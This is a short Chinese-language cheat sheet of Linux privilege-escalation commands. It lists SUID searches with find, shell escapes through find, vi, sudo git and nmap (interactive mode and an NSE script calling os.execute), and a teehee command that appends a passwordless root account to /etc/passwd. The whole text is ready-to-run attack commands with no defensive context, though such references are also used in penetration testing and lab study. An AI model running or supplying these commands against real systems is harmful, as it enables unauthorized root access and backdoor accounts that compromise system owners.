1 find 命令提權
1.1 方法一
find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \;-quit
1.2 方法二
touch getshell
find / -type f -name getshell -exec "whoami" \;
find / -type f -name getshell -exec "/bin/sh" \;
1.3 方法三
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
touch test
find . -exec /bin/sh -p \;-quit
2 vi 命令逃逸
vi
# 輸入以下內容
:set shell=/bin/sh
:shell
3 git 命令提權
3.1 方法一
sudo git help config
# 直接輸入以下內容
!/bin/bash 或 !'sh'
3.2 方法二
sudo git -p help
# 直接輸入以下內容
!/bin/bash
4 teehee 命令提權
# teehee 可以將標准輸入復制到文件中
# 如下命令可以在 /etc/passwd 文件中添加一行,實現添加一個擁有 root 權限的用戶
echo "test::0:0:::/bin/sh" | sudo teehee -a /etc/passwd
# 切換用戶
su test
5 nmap 提權

sudo nmap --interactive
!/bin/sh
# 進入一個可寫目錄,新建 nse_root.nse,內容為
os.execute("/bin/sh")
sudo nmap --script=nse_root.nse